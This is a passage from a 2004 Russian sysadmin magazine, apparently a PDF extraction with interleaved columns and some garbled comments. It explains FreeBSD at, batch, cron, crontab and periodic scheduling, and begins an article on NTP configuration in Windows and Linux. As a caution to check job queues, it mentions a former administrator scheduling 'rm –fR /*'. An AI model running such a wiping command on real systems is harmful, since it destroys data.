нократно выполнить ту или иную команду в заданное вре- ет, но есть файл at.deny, то команду at смогут запускать
мя. Это команда at, простейший синтаксис которой выг- все пользователи, кроме перечисленных в at.deny. Обра-
лядит следующим образом: тите внимание, что имена пользователей в этих файлах
должны начинаться строго с первой позиции и обязатель-
# at time но завершаться символом перевода строки даже для пос-
ледней строчки.
Здесь time – время, когда задача должна быть выпол- Из дополнительных опций команды at перечислим сле-
нена. Перечень команд, составляющих задачу, считыва- дующие:
ется со стандартного ввода (как правило, это ввод с кла- ! -f file – задает имя файла, содержимое которого будет
виатуры, завершаемый символом Ctrl-D). Например: воспринято как задание. Если опция не указана, зада-
ния считываются со стандартного ввода (до символа
# at 11:00pm Ctrl-D). Например:
who
last –s –20
df # at –f myjobs +2 minutes
^D

Этот ввод приведет к тому, что в 23:00 (сегодня, если В результате через 2 минуты будет выполнена после-
дело происходит утром, и завтра, если после обеда) пос- довательность команд, перечисленных в файле
ледовательно будут выполнены команды who, last и df, и myjobs. Команды в этом файле задаются по одной на
их вывод будет отправлен на электронный адрес пользо- каждой строке (так же, как и при вводе с клавиату-
вателя. ры). Результат также будет направлен по электрон-
Команда предоставляет пользователю большую сво- ной почте.
боду в выборе формата времени: ! -m – заставляет отсылать письмо о выполнении зада-
Òàáëèöà 1 ния пользователю (без этой опции письмо отсылается
только в том случае, если результат выполнения зада-
ния отправляется на стандартный вывод).
! -q queue – позволяет поместить задание в указанную
очередь, которая может быть задана одной буквой ла-
тинского алфавита (a-z, A-Z). По умолчанию задание
помещается в очередь «c» для at и в «E» для batch (см.
далее). Помимо удобства работы с большим числом
отложенных заданий, различные очереди позволяют
управлять приоритетом (nice) их выполнения – чем
дальше буква, соответствующая очереди, находится
от начала алфавита, тем большее значение nice, то есть
Таким образом, существует возможность задать вре- меньший приоритет, получат задачи, стоящие в этой
мя как относительно момента подачи команды at, так и очереди. Очереди, обозначенные буквами верхнего
абсолютно. В последнем случае оно может быть дополне- регистра, будут отрабатываться только в том случае,
но указанием конкретной даты, форматы записи которой если загрузка системы позволяет это сделать (см. да-
не менее разнообразны. лее описание ключа –b (batch)), и после того, как бу-
Так, дата «12 февраля 2005 года» может быть записа- дут запущены задания из очередей, обозначенных
на одним из следующих способов: 12.02.2005, 12.02.05, строчными буквами.
12/02/2005, 12/02/05, Feb 12 2005… Также вместо конк- ! -l [-q queue] – выводит список заданий, находящихся в
ретной даты можно использовать ключевое слово очереди. Можно использовать также псевдоним atq,
tomorrow, указывающее, что задание должно быть испол- выполняющий те же функции. Если команду atq вы-
нено в указанное время завтра. При необходимости ука- полняет суперпользователь, то выводятся все задания,
зать, что задание должно быть выполнено именно сегод- находящиеся в очереди. Иначе – только задания, при-
ня, можно использовать дополнение today. Естественно, надлежащие текущему пользователю.
при попытке задать уже прошедшее время вы получите ! -r job – удаляет указанное задание из очереди. Эта ко-
соответствующее сообщение об ошибке. манда также может быть вызвана с использованием
Кроме того, время может быть задано в формате псевдонима: atrm.
POSIX, для чего следует использовать ключ –t: ! -b – выполняет задание, если средняя загрузка систе-
мы (посмотреть ее можно с помощью команды w или
# at –t [[CC]YY]MMDDhhmm[.SS] top, параметр load average) не превышает указанное
// êîìàíäà âûïîëíèòñÿ 1 äåêàáðÿ ýòîãî ãîäà â 15:30
# at –t 12011530 значение (по умолчанию 1.5; как его изменить – смот-
рите далее в описании команды atrun). Batch – псевдо-
По умолчанию команду at может выполнять только су- ним для вызова at с данным ключом:
перпользователь root. Чтобы дать такое право другим
пользователям, их следует перечислить в файле /var/at/ # batch –f myjobs +2 minutes

№4(17), апрель 2004 11


администрирование
Команда аналогична примеру, приведенному выше для выполнены. Периодически (по умолчанию – каждые 5
опции -f, но задание будет выполнено, когда средняя минут) запускается процесс atrun, выполняющий все за-
загрузка системы (load average) будет ниже 1.5. Так, дания, срок выполнения которых истек. Таким образом,
если это условие будет истинно через 2 минуты, то говоря ранее, что «задание будет выполнено через 2 ми-
задание выполнится в указанное время. Иначе оно нуты», я был не совсем точен. На самом деле задания вы-
будет откладываться, пока загрузка не снизится до полняются с точностью в 5 минут (как это можно изме-
требуемого значения. нить – читайте ниже). Процесс atrun может быть выпол-
нен с двумя ключами:
С остальными параметрами можно ознакомиться на
страницах справочного руководства «man at». # atrun [-l average] [-d]
Для чего может понадобиться отложенное выполнение
команд? Например, можно поставить на ночь (когда на- Ключ –l задает максимальное значение средней заг-
грузка меньше, а трафик дешевле) закачку большого рузки системы, при котором могут быть выполнены за-
файла: дания, сформированные командой at –b (batch). Нужно
заметить, что если в очереди имеется несколько batch-
# echo ‘fetch ftp://ftp.ru/pub/bigfile.avi’ | at 0200 заданий, то при снижении загрузки до допустимого уров-
ня будет запущено только одно (имеющее более раннее
Здесь мы просто направляем на стандартный ввод время исполнения). Последующие будут запускаться на
программы at строку «fetch ftp://ftp.ru/pub/bigfile.avi»; дан- выполнение также по одному при каждом следующем вы-
ная команда будет запущена в 2:00. зове atrun, если средняя загрузка системы все еще бу-
Далее, пусть с 1 января вступают в силу новые тари- дет позволять сделать это. По умолчанию значение
фы на услуги, оказываемые вашей компанией, и вы хоти- average равно 1.5. Ключ –d включает режим отладки (все
те, чтобы информация о них на вашем сайте всегда была сообщения об ошибках поступают на стандартный вы-
актуальна (пусть она находится в файле /usr/local/www/ вод, а не в системные файлы протоколов через меха-
data/tariffs.html). Чтобы не встречать Новый год наедине с низм syslog).
сервером, создайте файл tariffs.html с новой информаци- После выполнения задания с соответствующего фай-
ей и разместите его, скажем, в /home/myhome/temp. Те- ла сценария снимается признак исполнимости (x), а при
перь задача обновления ровно в полночь будет решаться следующем вызове процесса atrun он удаляется из /var/
так: at/jobs. Просмотреть выполненные, но еще не удаленные
задания с указанием времени, когда они были выполне-
# at midnight Jan 01 ны, позволяет команда atq –v (для at с ключом –l ключ –v
cp /home/myhome/temp/tariffs.html /usr/local/www/data/
^D игнорируется).
Периодический запуск процесса atrun обеспечивается
Можно запустить сборку системы из исходных текстов, другим механизмом UNIX-систем – cron. О нем и пойдет
когда нагрузка на систему будет меньше 1.5 (процесс этот речь далее.
ресурсоемкий, но не срочный): Демон cron запускается автоматически при старте си-
стемы (конкретно – сценарием /etc/rc.d/cron) и каждую
# batch минуту проверяет файлы расписаний пользователей и
cd /usr/src
// ìû æå íå õîòèì ïîëó÷èòü âñå ýòî ïî ïî÷òå? системный файл расписаний /etc/crontab на предмет на-
make buildworld > buildword.log личия заданий, которые должны быть выполнены в дан-
^D
ную минуту.
В предыдущем примере стандартный вывод будет пе- По умолчанию каждый пользователь может иметь свой
ренаправлен в log-файл, а сообщения об ошибках посту- файл расписаний. Изменить это можно с помощью фай-
пят на электронный адрес пользователя, запустившего лов /var/cron/allow и /var/cron/deny (так же, как и для ко-
команду. В общем, полезных примеров можно привести манды at: если файл allow существует, то использование
массу. cron будет разрешено только пользователям, перечислен-
Еще небольшой совет – вступая во владение новым ным в нем). Файлы расписаний располагаются в /var/cron/
сервером, проверьте, какие команды у него в очереди. А tabs с именами, соответствующими имени пользователя.
то вдруг предыдущий администратор, уволенный за не- Для управления ими следует использовать утилиту crontab,
умеренное потребление спиртного, оставил вам «сюрп- синтаксис которой представлен ниже:
риз» в виде «rm –fR /*», запланированный на запуск че-
рез пару месяцев? crontab [-u user] (-l | -r | -e)
Теперь несколько подробнее рассмотрим механизм,
обеспечивающий работу команды at. Когда с ее помощью Опция –u позволяет работать с файлом расписаний
формируется отложенное задание, в папке /var/at/jobs со- указанного пользователя user, а не текущего, как это про-
здается файл сценария, содержащий переменные окру- исходит без данной опции. Если вы работаете через su,
жения (какими они были на момент формирования зада- лучше всегда использовать этот ключ, чтобы избежать
ния; при выполнении задания эти переменные будут вос- разночтений. Ключ –l позволяет вывести на экран пользо-
становлены) и собственно команды, которые должны быть вательский файл расписаний, -r – удалить его, -e – редак-

12
администрирование
тировать. Для редактирования вызывается редактор, ука- # Âûïîëíÿòü 1-ãî ÷èñëà êàæäîãî ìåñÿöà â 0:00
занный в переменной окружения EDITOR или VISUAL. @monthly /usr/local/billing/close_month.pl
Формат строки задания в пользовательском файле сле- Помимо собственно заданий, файл crontab может со-
дующий: держать строки, задающие системные переменные, с ко-
торыми задания будут отрабатываться. Так, можно задать
Min Hour Day Month WDay Command оболочку, в которой будут исполняться сценарии (пере-
менная SHELL, по умолчанию это sh), переменную PATH.
То есть через пробельные символы (пробелы и симво- Если нужно, чтобы выводимая выполняемыми команда-
лы табуляции) указываются минута, час, день, месяц, день ми информация пересылалась на почтовый ящик не вла-
недели, когда должна быть выполнена команда, указан- дельца файла расписаний (как это происходит по умол-
ная в шестом поле. Допускаются перечисления (через чанию), а на другого пользователя, для этого можно ис-
запятую: 1,3,5), интервалы (через дефис: 1-5), шаг (после пользовать переменную MAILTO. Пустое значение
символа «/»: 1-9/2 означает «1,3,5,7,9», то есть каждое (MAILTO=») приведет к тому, что сообщения будут пере-
второе значение из указанного диапазона). Звездочка «*» направляться в /dev/null.
означает все допустимые значения. Для месяца и дня не- Формат системного файла /etc/crontab несколько от-
дели можно использовать их сокращенные английские личается от пользовательского: на шестой позиции ука-
названия (первые три буквы), например: Feb, JUN, tue, Fri зывается имя пользователя, с правами которого должна
(регистр значения не имеет). Диапазоны и перечисления запускаться команда (и опционально – группа, отделен-
для имен недопустимы, то есть по имени можно обозна- ная от имени пользователя двоеточием, например,
чить только один месяц или день недели. Для числового «root:wheel»), а сама команда отодвигается на седьмую.
обозначения дней недели допустимыми являются числа Например, вызов atrun задан в этом файле такой строкой:
0–7, где как 0, так и 7 обозначают воскресенье. Несколь-
ко примеров: */5 * * * * root /usr/libexec/atrun

# Çàïóñêàòü ïðîãðàììó êàæäûé âòîðíèê â 12:00 Из этой записи видно, что процесс atrun, обеспечива-
0 12 * * 2 /usr/home/admin/checkmail
ющий отработку заданий, сформированных командой at,
# Âûïîëíÿòü çàäàíèå ÷åðåç äåíü â ÿíâàðå, ìàðòå è ñ ñåíòÿáðÿ будет запускаться каждые 5 минут. При необходимости
# ïî äåêàáðü
0 0 */2 1,3,9-12 * /usr/local/test/test повысить точность отработки заданий по at, следует со-
ответствующим образом изменить приведенную выше
# Çàïóñêàòü ñêðèïò 1-ãî è 15-ãî ÷èñëà êàæäîãî ìåñÿöà â 2:05,
# à òàêæå ïî âîñêðåñåíüÿì (Day è WDay ðàáîòàþò â ðåæèìå «ÈËÈ») строку.
5 2 1,15 * Sun /home/script С использованием механизма cron выполняется и та-
кая важная задача, как ротация log-файлов (см. строку,
Демон cron при каждой активизации проверяет дату отвечающую за запуск newsyslog). По умолчанию процесс
изменения файла /etc/crontab и директории /var/cron/tabs. newsyslog запускается каждый час и проводит ротацию
Если они изменились, то он перечитывает все изменения (архивирование и перезапись) log-файлов в соответствии
и учитывает их при последующих вызовах. Поскольку ути- с настройками в /etc/newsyslog.conf. На загруженных сис-
лита crontab после редактирования файла заданий меня- темах с подробным протоколированием ротация может
ет дату изменения для папки /var/cron/tabs, то после того, понадобиться чаще, чем раз в час, для чего следует из-
как в пользовательский файл расписаний будут внесены менить соответствующую строку в /etc/crontab.
изменения, нет нужды в перезапуске процесса cron – эти С механизмом cron связана еще одна полезная вещь –
изменения будут учтены при следующей активизации. автоматическое обслуживание системы, обеспечиваемое
Именно по этой причине для редактирования пользова- с помощью periodic-сценариев. В системном crontab мож-
тельских файлов расписаний следует использовать коман- но заметить следующие три строки:
ду crontab –e, а не редактировать файлы непосредствен-
но. Для файла /etc/crontab дата изменения проверяется 1 3 * * * root periodic daily
15 4 * * 6 root periodic weekly
отдельно, поэтому его можно изменять обычным редак- 30 5 1 * * root periodic monthly
тором (естественно, для этого нужны права root).
Формат файла crontab также допускает вместо первых Утилита periodic исполняет все сценарии, расположен-
пяти позиций, означающих время выполнения задания, ные в папке, соответствующей параметру, переданному
использовать предопределенные значения: ей при вызове. Эта папка ищется в каталоге /etc/periodic.
! @reboot (выполнять при загрузке операционной сис- Например, запуск periodic daily приведет к выполнению
темы); всех скриптов, расположенных в /etc/periodic/daily. Также
! @yearly (выполнять ежегодно в полночь 1 января); существует возможность создавать свои периоды обслу-
! @monthly (выполнять ежемесячно в полночь 1 числа); живания, для чего должна быть создана новая директо-
! @weekly (выполнять в полночь каждый понедельник); рия в /etc/periodic, в которую помещаются необходимые
! @daily (выполнять ежедневно в 0:00); скрипты, и добавлена соответствующая строка запуска в
! @hourly (выполнять в начале каждого часа). crontab. Настроить обслуживание системы под собствен-
ные нужды можно в файле /etc/periodic.conf (по умолча-
Например: нию отсутствует). Настройки по умолчанию заданы в /etc/

№4(17), апрель 2004 13


администрирование
defaults/periodic.conf. Как видно, эти сценарии выполняют выполняться команда ping, посылающая десять пакетов
очистку временных файлов, резервное копирование жиз- на адрес вашего провайдера. Из возвращаемой инфор-
ненно важной информации, формируют отчеты о состоя- мации будет выбрана последняя строка с результатами,
нии системы и т. д. Основная работа приходится на ежед- которая будет записана в файл ping.log для последующе-
невное обслуживание (daily). Можно заметить, что в пап- го анализа таких величин, как среднее время передачи
ке /etc/periodic присутствует поддиректория security, хотя пакета, величина девиации и т. д. Причем в файл будут
в crontab вызова для нее нет. Если поискать вниматель- заноситься только результаты успешного пинга, а все
но, то команду вызова «periodic security» можно найти в ошибки (типа «Host is down») будут отправляться по элек-
файле /etc/periodic/daily/450.status.security, то есть сбор тронной почте владельцу файла расписаний.
сведений о состоянии безопасности выполняется в ходе Следующая строка позволит вам автоматически кор-
ежедневного обслуживания, но для удобства вынесен в ректировать ваши (точнее, системные) часы с использо-
отдельную поддиректорию, и по этой же причине отчет ванием сервера точного времени:
высылается отдельным письмом.
Поскольку порядок исполнения сценариев определя- 12 4 * * * /usr/sbin/ntpdate ntp.alaska.edu
ется в результате сортировки их имен, для формирова-
ния нужной последовательности исполнения служит трех- Естественно, вы можете использовать для получения
значное число, предваряющее имя почти каждого файла. информации о точном времени тот сервер, который Вам
В директориях daily, weekly и monthly можно заметить больше нравится (список серверов можно получить, если
сценарии 999.local. Они позволяют запускать так называ- на любом поисковике подать запрос «Public ntp server»).
емые локальные periodic-сценарии, которые перечисля- Еще несколько слов о путях к вызываемым програм-
ются в файлах /etc/daily.local, /etc/weekly.local и /etc/ мам. Для сервиса at переменная PATH и каталог, в кото-
monthly.local соответственно. Использование локальных ром задание будет выполняться, соответствуют тем зна-
сценариев для собственных нужд более предпочтитель- чениям, которые были на момент формирования задания.
но, чем добавление скриптов в /etc/periodic, поскольку То есть если я запускаю at, находясь в директории /etc, то
позволяет четко разделить системные и пользовательс- и задание будет выполняться так, как будто оно было за-
кие сценарии и тем самым упростить сопровождение и пущено из этой же директории, и соответственно все от-
обновление системы. носительные пути, имеющиеся в запускаемом сценарии,
Как и для остальных команд, выполняемых по cron, будут разрешаться относительно этого каталога. Cron ве-
весь стандартный вывод будет перенаправлен на элект- дет себя несколько иначе – он запускает задания из до-
ронный адрес пользователя – владельца таблицы crontab машнего каталога пользователя, а в качестве перемен-
или указанного в переменной MAILTO. ной PATH использует то значение, которое задано в фай-
Придумывать полезные примеры для cron труда не ле расписаний (см. crontab –l) в переменной PATH. По умол-
составляет. Приведу два первых, пришедших в голову. чанию PATH=/usr/bin:/bin. Проверить это достаточно про-
Предположим, нам нужно контролировать состояние сети. сто – сформируйте задание с командами pwd и echo
Для этого достаточно занести в ваш пользовательский $PATH, и Вы получите письмо со значениями этих пара-
файл расписаний (системный файл лучше использовать метров на момент выполнения задания.
исключительно по системному назначению) строку: На этом знакомство со службами выполнения заданий
по расписанию можно завершить. Как обычно, дополни-
0 * * * * /sbin/ping –ñ10 my.provider.ru | ↵ тельную информацию можно получить на страницах спра-
/usr/bin/grep ‘avg’ >> /var/log/ping.log
вочного руководства man: at(1), atrun(8), cron(8), crontab(1),
Как это будет работать? В начале каждого часа будет crontab(5), periodic(8), periodic.conf(5).

14
администрирование

NTP – АТОМНЫЕ ЧАСЫ


НА КАЖДОМ СТОЛЕ

Каждый из нас, работая за компьютером, иногда смотрит на часы. При этом кто-то поглядывает
на стену, кто-то на руку, а кто-то бросает беглый взгляд в угол экрана монитора. Конечно, часы
могут быть разными, главное – чтобы они шли точно. И если для обычных часов их точность
во многом определяется фирмой-производителем, то практически для любых «компьютерных»
высокая точность может быть достигнута благодаря синхронизации времени, например,
с помощью протокола NTP (Network Time Protocol), об использовании которого и пойдет речь
в данной статье.
МИХАИЛ ПЛАТОВ
Зачем нужно точное время? аутентификации Kerberos. Так, для его работы необходи-
А кому вообще нужно это точное время? Конечно, оно мо, чтобы на компьютерах, доступ к которым осуществ-
нужно нам, пользователям, для того, чтобы мы меньше ляется с использованием этого протокола, системное вре-
опаздывали. Представим себе современный аэропорт – мя различалось не более чем на 5 минут. Кроме того, точ-
для его работы сотни пилотов и диспетчеров должны ное время на всех компьютерах значительно облегчает
пользоваться безошибочно идущими часами. Система ре- анализ журналов безопасности при расследовании инци-
гистрации товаров на складах, больничные учреждения, дентов в локальной сети.
кассы по продаже железнодорожных билетов и многие
другие учреждения требуют, чтобы время на всех объек- Протокол NTP
тах системы в той или иной степени было одинаково. Тем NTP (Network Time Protocol) – это протокол, предназна-
более компьютеры. На них работает масса служб и про- ченный для синхронизации времени в сети. Он представ-
грамм, для нормальной работы которых необходимо точ- ляет собой набор достаточно сложных алгоритмов, при-
ное время, причем, как правило, более точное, чем это званных обеспечить высокую точность (до нескольких мик-
обычно нужно нам, людям. Системные службы, компонен- росекунд) и отказоустойчивость системы синхронизации
ты системы безопасности, да и просто прикладные про- времени. Так, протокол предполагает одновременную син-
граммы могут быть очень критичны к точности часов. Наи- хронизацию с несколькими серверами.
более ярким примером таких служб является протокол Существует несколько версий этого протокола, имею-

16
администрирование
щих некоторые отличия. Третья версия этого протокола в NTP и Windows
1992 году была стандартизирована как RFC 1305. Четвер- Для синхронизации времени в ОС Windows 2000/XP/2003
тая (последняя на данный момент) версия привносит не- используется протокол SNTP. Поддержка этого протоко-
которые улучшения (автоматическая конфигурация и ла реализована в виде системной службы Windows Time,
аутентификация, улучшение алгоритмов синхронизации) входящей в состав операционной системы MS Windows
по сравнению с третьей, однако она еще не стандартизо- 2000/XP/2003. Отличительной особенностью этой реали-
вана в RFC. зации является то, что служба Windows Time поддержи-
Кроме того, помимо протокола NTP, существует про- вает доменную аутентификацию при обращении к эталон-
токол SNTP (Simple Network Time Protocol). На уровне па- ному серверу времени, что является немаловажным с точ-
кетов эти два протокола полностью совместимы. Основ- ки зрения безопасности.
ным отличием между ними является то, что SNTP не име- Существует несколько вариантов работы службы
ет сложных систем фильтрации и многоступенчатой кор- SNTP, входящей в Windows:
ректировки ошибок, имеющихся в NTP. Таким образом, ! Иерархическая (NT5DS). Используется по умолчанию
SNTP является упрощенной и более легкой в реализации для всех компьютеров, объединенных в домен. Синх-
версией NTP. Он предназначен для использования в тех ронизация времени на рабочих станциях и серверах
сетях, где не требуется очень высокая точность времени, и домена производится по иерархии. Таким образом, ра-
в реализации от корпорации Microsoft обеспечивает точ- бочие станции и рядовые серверы синхронизируются
ность в пределах 20 секунд в рамках предприятия и не бо- с контроллером домена, аутентифицировавшим вход,
лее 2 секунд в пределах одного сайта. Протокол SNTP стан- контроллеры домена – с хозяином операции «эмуля-
дартизован как RFC 1769 (версия 3) и RFC 2030 (версия 4). тор PDC», который в свою очередь синхронизируется
Модель синхронизации NTP предполагает иерархи- с контроллером домена, стоящим на более высоком
ческую структуру. На первом уровне иерархии распола- уровне иерархии. Следует заметить, что данный поря-
гаются так называемые «первичные» серверы времени док синхронизации используется «по умолчанию» и
(First stratum). Они находятся в разных местах по всему может быть переопределен вручную или с использо-
миру и располагают самым точным временем. Таких сер- ванием групповых политик. О том, как это сделать,
веров относительно немного, так как точное время на будет рассказано ниже.
них поддерживается с помощью дорогостоящего специ- ! Принудительная синхронизация с выбранным NTP-сер-
ализированного оборудования (радиоканал, спутниковый вером (NTP). В данном случае источник эталонного
канал). Серверы второго уровня (Second stratum) синх- времени для службы Windows Time устанавливается
ронизируются с серверами первого уровня, используя либо вручную, либо с помощью групповых политик.
протокол NTP. Их уже значительно больше, однако они ! Отключение синхронизации (NoSync). Этот режим не-
уже несколько рассинхронизированы (от 1 до 20 милли- обходим для смешанной схемы поддержания времени,
секунд) относительно «первичных» серверов. Далее мо- в которой для синхронизации с внешним источником ис-
гут идти серверы третьего, четвертого и последующих пользуется продукт третьей фирмы, а для поддержания
уровней: времени в рамках домена используется Windows Time.

Таким образом, в случае рабочей группы синхрониза-


цию времени всё равно придется настраивать вручную.
Например, один из компьютеров можно настроить на син-
хронизацию с внешним сервером по протоколу SNTP, а
остальные – на синхронизацию с ним. Необходимые для
этого действия будут описаны ниже.
Для домена рекомендуется использовать иерархичес-
кую синхронизацию по протоколу SNTP. В большинстве
случаев она обеспечивает приемлемую точность систем-
ного времени в рамках леса домена. Кроме того, она авто-
матически обеспечивает безопасность обновления време-
ни, благодаря поддержке аутентификации с Active Directory.
Для поддержки «правильного» времени в домене необхо-
димо синхронизировать контроллер домена верхнего уров-
ня, владеющий ролью «эмулятор PDC», с внешним NTP-
С переходом на каждый уровень немного возрастает сервером. В нашем примере в роли такого сервера будет
погрешность относительно первичного сервера, но зато выступать Linux-машина с работающим демоном ntpd.
увеличивается общее число серверов и, следовательно,
уменьшается их загрузка. Поэтому в качестве внешнего Настройка SNTP в Windows
источника синхронизации вместо использования первич- Для настройки службы Windows Time используются две
ных серверов, обладающих наиболее точным временем, утилиты:
рекомендуется использовать вторичные серверы как ме- ! Net time
нее загруженные. ! W32tm

№4(17), апрель 2004 17


администрирование
Net time используется главным образом для конфигу- ! w32tm /register – регистрирует службу Windows Time в
рирования службы времени, а w32tm – для мониторинга и качестве службы на данном компьютере. Эта опция мо-
диагностики работы. Однако в Windows XP/2003 утилита жет быть полезна на компьютерах, не входящих в до-
w32tm претерпела существенные изменения и может быть мен, так как по умолчанию на них служба времени ос-
использована для конфигурации службы времени. На- тановлена.
стройка NTP далее будет проводиться на примере Windows
XP/2003. Более подробные сведения о параметрах утилит net
Итак, для того чтобы «вручную» указать источник син- time и w32tm можно получить, используя ключ /? или от-
хронизации с помощью net time, достаточно написать в крыв соответствующий раздел справочной системы «Help
командной строке: and Support Center» MS Windows XP/2003.
Нетрудно догадаться, что настройки службы Windows
net time /setsntp:ñïèñîê_ñåðâåðîâ_âðåìåíè_÷åðåç_ïðîáåë Time хранятся в реестре Windows в разделе HKEY_LOCAL_
MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\.
Для получения информации о текущем сервере вре- В корне раздела определяются параметры работы самой
мени: службы, в подключе Config – настройки, связанные с рабо-
той самого протокола SNTP, режим синхронизации опреде-
net time /querysntp ляется в подключе Parameters. Настройки SNTP клиента и
сервера находятся в подключах TimeProviders\NtpClient и
Узнать время на контроллере домена можно так: TimeProviders\NtpServer соответственно. Рассмотрим ос-
новные значения, определяющие настройку NTP клиен-
net time /domain:èìÿ_äîìåíà та и сервера:
! Type – определяет режим работы NTP-клиента (NTDS5 –
А синхронизировать время с контроллером домена вот иерархическая, NTP – «вручную», NoSync – не синхрони-
так: зировать, AllSync – доступны все типы синхронизации);
! Enabled – определяет, включен ли данный компонент
net time /domain:èìÿ_äîìåíà /set (клиент или сервер);
! CrossSiteSyncFlags – определяет, можно ли синхрони-
Системной утилитой w32tm можно сделать все то же зировать время с источником, находящимся за преде-
самое и даже больше: лами домена, в случае если используется иерархичес-
! w32tm /resync – при помощи этой команды можно зас- кая синхронизация (0 – нельзя, 1 – только с эмулято-
тавить локальный или удаленный компьютер синхро- ром PDC, 2 – со всеми);
низировать показания своих системных часов с исполь- ! EventLogFlags – определяет, будут ли сообщения от
зуемым им сервером времени. Windows Time заноситься в журнал или нет (очень по-
! w32tm /config – эта команда используется для конфи- лезная функция при отладке работы).
гурирования службы Windows Time. С ее помощью
можно задать список используемых серверов време- Объяснение значений, определяемых в ключе реест-
ни и тип синхронизации (иерархическая или выбран- ра для службы Windows Time можно найти на сайте
ная серверами). Microsoft по адресу: http://www.microsoft.com/technet/
treeview/default.asp?url=/technet/prodtechnol/winxppro/
Например, для того чтобы переопределить значения maintain/xpmanaged/27_xpwts.asp.
по умолчанию и настроить синхронизацию времени с вне- Документация по протоколу NTP расположена на сай-
шним источником, можно воспользоваться командой: те: http://www.ntp.org.
Другой вариант настройки службы времени Windows
w32tm /config /syncfromflags:manual /manualpeerlist:PeerList Time – использование групповых политик. Настройки оп-
ределяются в объекте групповой политики по следую-
А для того чтобы Windows Time применила новые на- щему адресу: Computer Configuration → Administrative
стройки, вместо перезапуска службы можно использовать Templates → System → Windows Time Service
команду: Если у вас установлен Windows 2000 Server и такой на-
стройки вы не нашли – не отчаивайтесь, вам просто нужно
w32tm /config /update обновить «Административные шаблоны». Для этого скопи-
руйте из системной папки system32\GroupPolicy\Adm любой
Кроме того, в w32tm доступны следующие параметры, машины с установленной Windows XP все .adm-файлы на
связанные с мониторингом времени на компьютерах: сервер, являющийся контроллером домена. Далее, опре-
! w32tm /monitor – при помощи этой опции можно узнать, деляя объект групповой политики, нажмите правой кноп-
насколько системное время данного компьютера от- кой на «Administrative templates» и выберите «Add/Remove
личается от времени на контроллере домена или дру- templates…» Удалите перечисленные там шаблоны и до-
гих компьютерах. бавьте скопированные. После нажатия кнопки «OK» шаб-
! w32tm /stripchart – графически показывает разницу во лоны будут обновлены, и вы сможете сконфигурировать
времени между текущим и удаленным компьютером. службу времени, используя групповые политики:

18
администрирование
мени для внешней синхронизации лучше использовать
NTP-сервер. К тому же не всегда у контроллера домена
верхнего уровня есть доступ к Интернету по порту UDP 123,
используемого для работы NTP. Доступ вполне может быть
закрыт по соображениям безопасности, что является
обычной практикой крупных организаций. В таких случа-
ях для решения этой проблемы можно установить в деми-
литаризированной зоне – DMZ – свой сервер времени, на-
строенный на синхронизацию с внешним источником, и
использовать его в качестве эталонного источника вре-
мени для синхронизации контроллера домена верхнего
уровня. В качестве такого компьютера вполне подойдет
любая, не обязательно современная машина с *nix-подоб-
ной ОС, например, Linux, установленной в минимальной
конфигурации, без X-сервера и других потенциально уяз-
вимых вещей.
Существует масса программ для синхронизации вре-
мени для ОС Linux. Наиболее известными являются Xntpd
(NTP версия 3), ntpd (NTP версия 4), Crony и ClockSpeed.
В нашем примере мы будем использовать ntp-сервер ntpd,
входящий в состав Redhat 9, поставляемый в пакете ntp-
4.1.2-0.rc1.2.i386.rpm.
В состав пакета входит несколько программ, предназ-
наченных для работы с NTP.
Вот основные из них:
! Ntpd – демон ntp, поддерживающий точное время в фо-
новом режиме;
! Ntpq – утилита, предназначенная для опроса NTP-сер-
Нетрудно заметить, что здесь главным образом пере- веров, поддерживающих стандартный протокол опро-
числены все те настройки, которые можно изменять в ре- са NTP mode 6. С ее помощью можно узнать и изме-
естре. Ничего удивительного в этом нет, ведь именно так нить текущее состояние сервера, если его настройки
и работает большинство групповых политик. это позволяют;
В ОС Windows XP появился еще один способ задания ! Ntptdc – утилита, при помощи которой можно опраши-
сервера времени, который может быть очень удобен для вать демон ntpd и получать статистику его работы;
настройки синхронизации на домашнем компьютере или ! Ntpdate – программа для установки текущего систем-
компьютере, входящем в рабочую группу: ного времени с использованием протокола NTP.

Стандартной возможностью протокола NTP является


возможность проведения аутентификации. При этом мо-
гут использоваться как симметричные алгоритмы (DES),
появившиеся еще во второй версии протокола, так и не-
симметричные алгоритмы, с открытым ключом, являющи-
еся новшеством четвертой версии.
В случае использования симметричной схемы аутен-
тификации клиент и сервер выбирают произвольный иден-
тификатор и один из 65534 ключей, определенных стан-
дартом. При использовании несимметричных алгоритмов,
используется так называемая схема Autokey, отличитель-
ной особенностью которой является отсутствие необхо-
димости предварительно распределять открытые ключи
серверов.
Для настройки аутентификации в ntpd существуют ути-
литы ntp-genkeys, ntpq и ntpdc.
Вся функциональность NTP, связанная с поддержкой
точного времени реализована в демоне ntpd. Его настрой-
NTP-сервер под Linux – внешняя ка производится обычным для unix способом – путем ре-
синхронизация для Windows-домена дактирования конфигурационного файла ntp.conf, находя-
Как было сказано выше, протокол NTP более устойчив к щегося в папке /etc.
ошибкам, поэтому в качестве источника эталонного вре- Зададим следующие опции для работы NTP-сервера.

№4(17), апрель 2004 19


администрирование
Сначала укажем серверы, с которыми будет произво- запуск ntpd не настроен. Чтобы это исправить, наберите:
диться синхронизация времени:
[root@nix tmp]# chkconfig –level 035 ntpd on
server ntp.nasa.gov # A stratum 1 server at nasa.org
server ntp1.demos.net # A stratum 2 server at demos.net
Для управления NTP (старт, запуск, перезапуск, статус)
Далее мы ограничим доступ к нашему серверу, так как используются стандартный инициализационный скрипт:
мы не хотим, чтобы другие серверы могли сами менять
наше время: [root@nix]# /etc/init.d/ntpd start

restrict ntp.research.gov mask 255.255.255.255 ↵ Для просмотра статистики синхронизации сервера


nomodify notrap noquery
можно воспользоваться следующей командой:
Здесь маска 255.255.255.255 используется для огра-
ничения доступа к нашему серверу со стороны сервера [root@nix]# ntpq -p
ntp.nasa.gov.
Теперь определим список узлов в нашей локальной
сети, которым мы хотим разрешить доступ к нашему NTP-
серверу для получения времени:

restrict 192.168.1.0 mask 255.255.255.0 notrust nomodify notrap

Также нам требуется, чтобы Linux-машина имела пол-


ный доступ к ресурсам своего сервера: Режимы работы NTP сервера/клиента
restrict 127.0.0.1 Клиент/сервер
Этот режим на сегодняшний день наиболее часто исполь-
И теперь самое важное: мы должны убедиться в том, зуется в сети Интернет. Схема работы – классическая. Кли-
что запрет по умолчанию, имеющий более высокий при- ент посылает запрос, на который в течение некоторого вре-
оритет, закомментирован: мени сервер присылает ответ. Настройка клиента произ-
водится с помощью директивы server в конфигурационном
#restrict default ignore файле, где указывается DNS имя сервера времени.

После сохранения файла ntp.conf настройку можно Симметричный активный/пассивный режим


